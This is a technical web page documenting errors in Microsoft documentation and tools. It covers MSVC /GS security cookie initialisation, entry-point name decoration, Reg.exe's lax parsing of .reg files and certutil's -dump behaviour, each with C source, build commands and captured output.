The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.
These statements are but wrong in three points and omit several details:
  1. the code generated by the compiler does not depend on the actual (arbitrary) value of the security cookie, it requires only that the value does not change between call and return of any function which uses the security cookie;
  2. the security cookie is (typically) initialised during compile time to a well-known non-zero default value, 0xBB40E64E = 3141592654 = π×109 for 32-bit object modules and 0x00002B992DDFA232 = π×1018÷216 for 64-bit object modules;
  3. the module loader (re)initialises the security cookie of 32-bit DLLs since Windows XP SP2 if it has the default value;
  4. the module loader (re)initialises the security cookie of 32-bit applications since Windows 10 if it has the default value;
  5. the module loader (re)initialises the security cookie of 64-bit DLLs and applications since Windows 10 if it has the default value and the size of the IMAGE_LOAD_CONFIG_DIRECTORY64 structure in the eleventh entry of the IMAGE_DATA_DIRECTORY array in the IMAGE_OPTIONAL_HEADER structure matches the size of the _load_config_used structure;
  6. the function __security_init_cookie provided in the MSVCRT libraries (re)initialises the security cookie only if it has the default value or is 0;
  7. there is absolutely no need to use the function __security_init_cookie to (re)initialise the security cookie;
  8. TLS callback functions are called before the normal (default) entry points, conventionally named mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup and _DllMainCRTStartup!
The MSDN magazine articles Protecting Your Code with Visual C++ Defenses and Visual C++ Support for Stack-Based Buffer Protection provide additional information.

Demonstration

Perform the following 6 simple steps to show the (mis)behaviour.
  1. Create the text file quirk24.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define _CRT_SECURE_NO_WARNINGS
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifndef _WIN64
    #ifdef ZERO
    DWORD_PTR	__security_cookie = 0;
    #else
    DWORD_PTR	__security_cookie = 0xBB40E64E;
    #endif		               // = 3141592654 = 10**9 * pi
    
    extern	LPVOID	__safe_se_handler_table[];
    extern	BYTE	__safe_se_handler_count;
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY32	_load_config_used = {sizeof(_load_config_used),
    					                     'NULL',	// = 2011-08-24 19:09:00 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0, 0, 0, 0, 0, 0, 0, 0,
    					                     HEAP_GENERATE_EXCEPTIONS,
    					                     0, 0, 0, 0,
    					                     &__security_cookie,
    					                     __safe_se_handler_table,
    					                     &__safe_se_handler_count};
    #else
    #ifdef ZERO
    DWORD_PTR	__security_cookie = 0;
    #else
    DWORD_PTR	__security_cookie = 0x00002B992DDFA232;
    		               // = 3141592653589793241 >> 16
    #endif		               // = 10**18 / 2**16 * pi
    
    const	IMAGE_LOAD_CONFIG_DIRECTORY64	_load_config_used = {sizeof(_load_config_used),
    					                     'NULL',	// = 2011-08-24 19:09:00 UTC
    					                     _MSC_VER / 100,
    					                     _MSC_VER % 100,
    					                     0, 0, 0, 0, 0, 0, 0, 0, 0,
    					                     HEAP_GENERATE_EXCEPTIONS,
    					                     0, 0, 0,
    					                     &__security_cookie,
    					                     0,
    					                     0};
    #endif // _WIN64
    
    #ifdef DLL
    __declspec(dllexport)
    __declspec(safebuffers)
    BOOL	WINAPI	ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	DWORD	dwConsole;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return FALSE;
    #ifndef _WIN64
    	if (gsCookie == 0xBB40E64E)
    #else
    	if (gsCookie == 0x00002B992DDFA232)
    #endif
    		dwBuffer = wsprintf(szBuffer,
    		                    L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
    		                    lpFunction);
    	else if (gsCookie == 0)
    		dwBuffer = wsprintf(szBuffer,
    		                    L"%ls entry point: /GS security cookie is 0!\a\n",
    		                    lpFunction);
    	else
    		dwBuffer = wsprintf(szBuffer,
    		                    L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
    		                    lpFunction, gsCookie);
    
    	if (dwBuffer == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwBuffer;
    }
    
    __declspec(dllexport)
    __declspec(safebuffers)
    BOOL	WINAPI	WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
    {
    	WCHAR	szBuffer[1025];
    	DWORD	dwBuffer;
    	UINT	uiType = MB_ICONERROR | MB_OK;
    #ifndef _WIN64
    	if (gsCookie == 3141592654)
    #else
    	if (gsCookie == 3141592653589793241 >> 16)
    #endif
    		wcscpy(szBuffer, L"/GS security cookie is NOT initialised!\n");
    	else if (gsCookie == 0)
    		wcscpy(szBuffer, L"/GS security cookie is 0!\n");
    	else
    	{
    		dwBuffer = wsprintf(szBuffer,
    		                    L"/GS security cookie is initialised with 0x%p\n",
    		                    gsCookie);
    		szBuffer[dwBuffer] = L'\0';
    		uiType = MB_ICONINFORMATION | MB_OK;
    	}
    
    	return MessageBoxEx(HWND_DESKTOP, szBuffer, lpFunction, uiType,
    	                    MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
    }
    
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	if (GetConsoleWindow() != NULL)
    		ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    	else
    		WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	return TRUE;
    }
    #else
    #ifdef CONSOLE
    __declspec(dllimport)
    BOOL	WINAPI	ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
    
    __declspec(noreturn)
    VOID	WINAPI	wmainCRTStartup(VOID)
    {
    	ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	ExitProcess(GetLastError());
    }
    #else
    __declspec(dllimport)
    BOOL	WINAPI	WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
    
    __declspec(noreturn)
    VOID	WINAPI	wWinMainCRTStartup(VOID)
    {
    	WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
    
    	ExitProcess(GetLastError());
    }
    #endif // CONSOLE
    #endif // DLL
  2. Build the DLL quirk24.dll and its import library quirk24.lib from the source file quirk24.c created in step 1. with the preprocessor macro DLL defined:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:I386
    CL.EXE /DDLL /LD quirk24.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk24.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    quirk24.c(116) : warning C4100: 'lpReserved' : unreferenced formal parameter
    quirk24.c(116) : warning C4100: 'hModule' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:I386
    /out:quirk24.dll
    /dll
    /implib:quirk24.lib
    quirk24.obj
       Creating library quirk24.lib and object quirk24.exp
  3. Build the console application quirk24.com from the source file quirk24.c created in step 1. with the preprocessor macro CONSOLE defined, using the import library quirk24.lib generated in step 2.:

    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk24.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    CL.EXE /DCONSOLE /Fequirk24.com quirk24.c
    Note: quirk24.com is a pure Win32 console application and builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk24.lib /ENTRY:wmainCRTStartup /MACHINE:I386 /SUBSYSTEM:CONSOLE
    /out:quirk24.com
    quirk24.obj
  4. Build the application quirk24.exe from the source file quirk24.c created in step 1. with the preprocessor macro ZERO defined:

    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk24.lib /ENTRY:wWinMainCRTStartup /MACHINE:I386 /SUBSYSTEM:WINDOWS
    CL.EXE /DZERO quirk24.c

    Note: quirk24.exe is a pure Win32 application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *'
    quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *'
    quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk24.lib /ENTRY:wWinMainCRTStartup /MACHINE:I386 /SUBSYSTEM:WINDOWS
    /out:quirk24.exe
    quirk24.obj
  5. ...

    .\quirk24.com
    .\quirk24.exe
    CONTROL.EXE "%CD%\quirk24.dll"
    __DllMainCRTStartup@12 entry point: /GS security cookie initialised as 0xC97D2381
    _wmainCRTStartup@0 entry point: /GS security cookie initialised as 0xAB5E5CC5
  6. Repeat the previous four steps 2. to 5. to build quirk24.dll, quirk24.com and quirk24.exe for the x64 alias AMD64 processor architecture and execute them:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:AMD64
    CL.EXE /DDLL /LD quirk24.c
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk24.lib /ENTRY:wmainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:CONSOLE
    CL.EXE /DCONSOLE /Fequirk24.com quirk24.c
    SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk24.lib /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:WINDOWS
    CL.EXE /DZERO quirk24.c
    .\quirk24.com
    .\quirk24.exe
    CONTROL.EXE "%CD%\quirk24.dll"
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    quirk24.c(116) : warning C4100: 'lpReserved' : unreferenced formal parameter
    quirk24.c(116) : warning C4100: 'hModule' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /MACHINE:AMD64
    /out:quirk24.dll
    /dll
    /implib:quirk24.lib
    quirk24.obj
       Creating library quirk24.lib and object quirk24.exp
    
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk24.lib /ENTRY:wmainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:CONSOLE
    /out:quirk24.com
    quirk24.obj
    
    Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk24.c
    quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DEFAULTLIB:quirk24.lib /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /SUBSYSTEM:WINDOWS
    /out:quirk24.exe
    quirk24.obj
    
    _DllMainCRTStartup entry point: /GS security cookie NOT initialised!
    wmainCRTStartup entry point: /GS security cookie NOT initialised!
    Oops: ...

Quirk № 25

The MSDN article /ENTRY (Entry-Point Symbol) specifies:
The /ENTRY option specifies an entry point function as the starting address for an .exe file or DLL.

The function must be defined to use the __stdcall calling convention. The parameters and return value depend on if the program is a console application, a windows application or a DLL. It is recommended that you let the linker set the entry point so that the C run-time library is initialized correctly, and C++ constructors for static objects are executed.

By default, the starting address is a function name from the C run-time library. The linker selects it according to the attributes of the program, as shown in the following table.

Function name Default for
mainCRTStartup (or wmainCRTStartup) An application that uses /SUBSYSTEM:CONSOLE; calls main (or wmain)
WinMainCRTStartup (or wWinMainCRTStartup) An application that uses /SUBSYSTEM:WINDOWS; calls WinMain (or wWinMain), which must be defined to use __stdcall
_DllMainCRTStartup A DLL; calls DllMain if it exists, which must be defined to use __stdcall
If the /DLL or /SUBSYSTEM option is not specified, the linker selects a subsystem and entry point depending on whether main or WinMain is defined.

The functions main, WinMain, and DllMain are the three forms of the user-defined entry point.

Note: the main() function always uses the __cdecl calling convention!

The MSDN article Format of a C Decorated Name specifies:

The form of decoration for a C function depends on the calling convention used in its declaration, as shown below. Note that in a 64-bit environment, functions are not decorated.
Calling convention Decoration
__cdecl (the default) Leading underscore (_)
__stdcall Leading underscore (_) and a trailing at sign (@) followed by a number representing the number of bytes in the parameter list
The MSDN articles __cdecl and __stdcall provide more details.

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk25.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2022, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef QUIRKS
    #define NULL	(void *) 0
    
    extern	int	main(int argc, char *argv[], char *envp[]);
    
    int	QUIRKS	mainCRTStartup(void)
    {
    	static	char	*argv[] = {"Quirk25", __FUNCDNAME__, NULL};
    	static	char	*envp[] = {NULL};
    
    	return main(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
    }
    #else
    int	main(int argc, char *argv[], char *envp[])
    {
    	return argc;
    }
    #endif
  2. Compile the source file quirk25.c created in step 1., first with the preprocessor macro QUIRKS defined as __stdcall to generate the object file quirk25.obj for the mainCRTStartup() function and put it in the object library quirk25.lib, then again to generate the object file quirk25.obj for the main() function and link it against the library quirk25.lib to build the console application quirk25.exe:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/MACHINE:I386
    CL.EXE /c /DQUIRKS=__stdcall quirk25.c
    LINK.EXE /LIB quirk25.obj
    CL.EXE /c quirk25.c
    LINK.EXE /LINK quirk25.obj quirk25.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk25.exe is a pure Win32 console application and builds without the MSVCRT libraries – eventually.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk25.c
    
    Microsoft (R) Library Manager Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk25.c
    quirk25.c(16) : warning C4100: 'envp' : unreferenced formal parameter
    quirk25.c(16) : warning C4100: 'argv' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    LINK : error LNK2001: unresolved external symbol _mainCRTStartup
    quirk25.exe : fatal error LNK1120: 1 unresolved externals
    Ouch: functions defined to use the __stdcall calling convention get their name decorated with an at sign and the total size of their arguments; Link.exe but references the name decorated per __cdecl calling convention!
  3. Link the console application quirk25.exe using the decorated name of the mainCRTStartup() function and execute it:

    LINK.EXE /LINK /ENTRY:mainCRTStartup@0 quirk25.obj quirk25.lib
    .\quirk25.exe
    ECHO %ERRORLEVEL%
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    2
Note: the repetition of step 2. with the preprocessor macro QUIRKS defined as empty or __cdecl is left as an exercise to the reader.

Quirk № 26

The MSKB article 310516 specifies the format and syntax of registry editor script files, but is awfully bad!

Demonstration

Perform the following 5 (plus 1) simple steps to show the (mis)behaviour.
  1. Create the text file quirk26.reg with the following content in an arbitrary, preferable empty directory:

    REGEDIT4
    
    [HKEY_CURRENT_USER\Quirk26]
    ""="quirk26"
    "none"=hex(0):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
    "binary"=hex(3):0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
    "dword"=dword:-1
    "dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef
    "dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef
    "qword"=qword:0123456789abcdef
    "link"=hex(6):
    "expand"=expand:"%windir%"
    "multi"=multi:"first","last"
    "string"="left\right"
    ''="''"
    @='@'
  2. Import the registry entries from the script file quirk26.reg into the Registry:

    REG.EXE IMPORT quirk26.reg
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
  3. Query the imported registry entries:

    REG.EXE QUERY HKEY_CURRENT_USER\Quirk26
    ECHO %ERRORLEVEL%
    HKEY_CURRENT_USER\Quirk26
        (Default)    REG_SZ    quirk26
        none    REG_NONE    000102030405060708090A0B0C0D0E0F
        dword_little_endian    REG_DWORD    0x67452301
        dword_big_endian    REG_DWORD_BIG_ENDIAN    0x67452301
        link    REG_LINK    
    
    0
    OUCH¹: despite the multiple syntax errors in the script file quirk26.reg, Reg.exe yields an explicit success message!

    OUCH²: Reg.exe fails to distinguish big endian from little endian in its output!

    OOPS: an empty string can be used as registry value name instead of the @ to specify the (unnamed) default entry of a registry key.

  4. Export the just imported registry entries from the registry key HKEY_CURRENT_USER\Quirk26 to the file quirk26.txt:

    REG.EXE EXPORT HKEY_CURRENT_USER\Quirk26 quirk26.txt
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
  5. Display the exported registry key and its entries:

    TYPE quirk26.txt
    Windows Registry Editor Version 5.00
    
    [HKEY_CURRENT_USER\Quirk26]
    @="quirk26"
    "none"=hex(0):00,01,02,03,04,05,06,07,08,09,0a,0b,0c,0d,0e,0f
    "dword_little_endian"=hex(4):01,23,45,67,89,ab,cd,ef
    "dword_big_endian"=hex(5):01,23,45,67,89,ab,cd,ef
    "link"=hex(6):
    Note: indicated by the tag line Windows Registry Editor Version 5.00, Reg.exe exports in UTF-16LE encoding.
  6. Delete the registry key HKEY_CURRENT_USER\Quirk26 with all its entries:

    REG.EXE DELETE HKEY_CURRENT_USER\Quirk26 /F
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    0
Note: the repetition of steps 2., 4. and 6. using RegEdit.exe instead of Reg.exe is left as an exercise to the reader.

Quirk № 27

The documentation for the Certutil command states:

The following table describes the verbs that can be used with the certutil command.

Verbs Description
-dump Dump configuration information or files
[…]

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the UTF-16LE encoded text file quirk27.txt containing the Greek alphabet in capital and small letters in an arbitrary, preferable empty directory:

    ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω
    Note: the file quirk27.txt contains 51 Unicode characters (including an initial Byte Order Mark and a final CR/LF pair) in 102 bytes.
  2. Run the following command line to dump the file quirk27.txt created in step 1.:

    CERTUTIL.EXE /DUMP quirk27.txt
      0000  ...
      0032
        0000  3f 3f 47 3f 3f 3f 3f 54  3f 3f 3f 3f 3f 3f 3f 3f   ??G????T????????
        0010  3f 53 3f 3f 46 3f 3f 4f  61 df 3f 64 65 3f 3f 3f   ?S??F??Oa.?de???
        0020  3f 3f 3f b5 3f 3f 3f 70  3f 73 74 3f 66 3f 3f 3f   ???.???p?st?f???
        0030  0d 0a                                              ..
    CertUtil: -dump command completed successfully.
    OUCH: Certutil.exe converts files from UTF-16LE to ANSI before it dumps their (destroyed) content – a completely braindead approach – and even dares to name this epic failure successful!
  3. Run the following command line to dump the executable file of the Command Processor, specified by its absolute, fully qualified pathname provided in the environment variable COMSPEC:

    CERTUTIL.EXE /DUMP "%COMSPEC%"
    C:\Windows\system32\cmd.exe: Lang 04b00409 (1200.1033)  File 6.1:7601.23403  Product 6.1:7601.23403
    CertUtil: -dump command completed successfully.
    OOPS: instead of the expected (hexadecimal) dump Certutil.exe displays some parts of the VERSIONINFO resource embedded in the Portable Executable file Cmd.exe.
  4. Run the following command lines to dump some other executable files which are located in the system directory %SystemRoot%\System32\, specified by their name and extension:

    CERTUTIL.EXE /DUMP main.cpl
    CERTUTIL.EXE /DUMP slmgr.vbs
    SET PATHEXT
    main.cpl: Lang 04b00409 (1200.1033)  File 6.1:7601.17514  Product 6.1:7601.17514
    CertUtil: -dump command completed successfully.
    
    CertUtil: -dump command FAILED: 0x80070002 (WIN32: 2)
    CertUtil: The system cannot find the file specified.
    
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    OOPS: Certutil.exe searches the PATH, but does not evaluate the environment variable PATHEXT!
  5. Finally run the following command line to dump another executable file which is located in the system directory, specified by just its filename without extension:

    CERTUTIL.EXE /DUMP ntdll
    ntdll: Lang 04b00409 (1200.1033)  File 6.1:7601.24545  Product 6.1:7601.24545
    CertUtil: -dump command completed successfully.
    OOPS: when no extension is specified, Certutil.exe searches the PATH for DLLs!

Trivia

The Redmond Reality Distortion Field emanates from weird matter composed of quirks; its vector boson is the so-called Gates particle with a mass equivalent to some 100 G$.

Contact

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Use the X.509 certificate to send S/MIME encrypted mail.

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):


Copyright © 1995–2022 • Stefan Kanthak • <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>